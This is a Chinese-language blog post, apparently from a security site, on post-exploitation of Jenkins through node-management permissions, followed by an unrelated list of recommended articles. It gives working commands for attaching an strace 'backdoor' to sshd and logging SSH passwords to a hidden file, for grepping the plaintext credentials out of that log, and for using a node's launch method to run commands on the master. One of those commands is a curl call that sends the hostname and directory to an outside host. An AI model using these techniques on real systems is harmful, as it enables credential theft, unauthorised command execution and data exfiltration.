Jenkins :添加node权限获取凭据、执行命令

2023-09-13 22:34:39

拥有Jenkins agent权限的账号可以对node节点进行操作,通过添加不同的node可以让流水线项目在不同的节点上运行,安装Jenkins的主机默认作为master节点。

1693206336_64ec47407d15d193c5422.png!small?1693206336902

1.Jenkins 添加node获取明文凭据

通过添加node节点,本地监听ssh认证,选则凭据(明文)进行ssh认证,拿到密码。

1.新建节点-manage nodes功能

1693205859_64ec45635aa079a5ec1b6.png!small?1693205859758

1693205872_64ec45700bc3f13e1572b.png!small?1693205872433

2.填写工作目录,选择通过SSH进行远程节点身份认证,选择抓取带*号的凭据,host key选择不进行验证:

1693205887_64ec457f8281bcac13859.png!small?1693205887940

3.主机监听:这里监听主机ssh使用的是strace后门,实际也可以使用其他方式进行:

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

4.保存节点配置, Jenkins将对主机进行ssh请求:

1693205950_64ec45be79b8523c71e55.png!small?1693205950910

node节点认证日志(账号密码方式):

1693205961_64ec45c94123ffd95eb8d.png!small?1693205961786

5. 查看接受结果,这种方式获得的密码需要自行判断下起始位置

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

1693205976_64ec45d806a0b35142d02.png!small?1693205976368

2.通过添加节点执行命令

同样的,在添加节点时可以配置在master上执行命令去进行其他节点认证,也就可以在master上执行恶意命令了。

注意:这里执行curl命令时不能使用``直接执行系统命令,所以利用时需要更换其他方式。

curl -k ip:9090/`hostname`/`pwd`
env

添加节点时也可以从控制器执行命令,Launch method 选择 通过在master上执行命令的方式:

1693205993_64ec45e98a52e744062bf.png!small?1693205994177

保存然后launch agent:

1693206122_64ec466a0280b1d06eaf0.png!small?1693206122365

可以在Log里面看到命令env的输出:

1693206115_64ec46630c4a99a6e864e.png!small?1693206115957

更多推荐

JavaScript前端跨页面通信:实现页面间的数据传递与交互

🎬岸边的风:个人主页🔥个人专栏:《VUE》《javaScript》⛺️生活的理想,就是为了理想的生活!目录引言1.前端跨页面通信的概述2.前端跨页面通信的属性2.1双向通信2.2异步通信2.3安全性2.4可靠性3.前端跨页面通信的应用场景3.1多标签页间的数据共享3.2页面间的消息通知和事件触发3.3页面间的数据传

如何在Python爬虫程序中使用HTTP代理?

在进行网络爬虫时,我们经常需要使用代理服务器来隐藏自己的真实IP地址,以避免被目标网站封禁或限制访问。本文将介绍如何将HTTP代理配置到Python爬虫程序中使用。什么是HTTP代理?HTTP代理是一种网络代理,它充当客户端和服务器之间的中介,接收客户端请求并将其转发给服务器。代理服务器可以隐藏客户端的真实IP地址,使

day19正则表达式

今日内容正则表达式教学目标能够理解正则表达式的作用能够使用正则表达式的字符类能够使用正则表达式的逻辑运算符能够使用正则表达式的预定义字符类能够使用正则表达式的限定符能够使用正则表达式的分组能够在String的split方法中使用正则表达式正则表达式1.1正则表达式的概念及演示在Java中,我们经常需要验证一些字符串,例

【Flutter】2023 Google 开发者大会给 Fluter 带来了什么

文章目录一、2023年谷歌开发者大会概览二、Flutter年度进展三、Dart年度进展四、Material3年度进展五、推荐使用Flutter跨平台开发六、参考资料一、2023年谷歌开发者大会概览你知道吗,今年的谷歌开发者大会真是令人期待。从5月10日的线上GoogleI/O大会开始,到9月6日至7日在上海世博中心的现

2023年华为杯研究生数学建模竞赛辅导

2023年华为杯研究生数学建模竞赛辅导各研究生培养单位:中国研究生数学建模竞赛作为教育部学位管理与研究生教育司指导,中国学位与研究生教育学会、中国科协青少年科技中心主办的“中国研究生创新实践系列大赛”主题赛事之一,是一项面向在校研究生进行数学建模应用研究与实践的学术竞赛活动,是广大在校研究生提高建立数学模型和运用互联网

Linux多线程【线程控制】

✨个人主页:北海🎉所属专栏:Linux学习之旅🎃操作环境:CentOS7.6阿里云远程服务器文章目录🌇前言🏙️正文1、线程知识补充1.2、线程私有资源1.3、线程共享资源1.4、原生线程库2、线程控制接口2.1、线程创建2.1.1、一批线程2.2、线程等待2.3、线程终止2.4、线程实战2.5、其他接口2.5.

Flutter动态化开发之Fair实战

一、背景目前移动端应用的版本更新,最常见的方式是定期发版,无论是安卓还是iOS,都需要提交新的安装包到应用市场进行审核。审核通过后,用户在应用市场进行App的下载更新。而动态化,就是不依赖更新程序安装包,就能动态实时更新页面的技术。相比动态化技术,定期发版更新应用的方式存在一些问题,比如:审核周期长,且可能审核不通过。

【完全二叉树魔法:顺序结构实现堆的奇象】

本章重点二叉树的顺序结构堆的概念及结构堆的实现堆的调整算法堆的创建堆排序TOP-K问题1.二叉树的顺序结构普通的二叉树是不适合用数组来存储的,因为可能会存在大量的空间浪费。而完全二叉树更适合使用顺序结构存储。现实中我们通常把堆(一种二叉树)使用顺序结构的数组来存储,需要注意的是这里的堆和操作系统虚拟进程地址空间中的堆是

PostgreSQL缓存管理

缓冲区管理器、存储和后端进程之间的关系缓存管理结构PostgreSQL缓冲区管理器由buffertable、bufferdescriptors和bufferpool组成。bufferpool层存储表和索引等数据文件页,以及空闲空间映射和可见性映射。bufferpool是一个数组,每个槽存储数据文件的一个页面。缓冲池数组

No suitable driver found for jdbc:mysql://localhost:3306/BookManagement

目录问题背景解决办法问题背景今天遇见一个这个报错,解决后将解决方案分享一下:报错内容如下:“"C:\ProgramFiles\Java\jdk1.8.0_221\bin\java.exe""-javaagent:D:\IDEA2020_1\IntelliJIDEA2020.1\lib\idea_rt.jar=51910

React 全栈体系(六)

第三章:React应用(基于React脚手架)二、组件的组合使用-TodoList3.添加todo3.1App/*src/App.jsx*///创建“外壳”组件AppimportReact,{Component}from'react'importHeaderfrom'./components/Header'import

热文推荐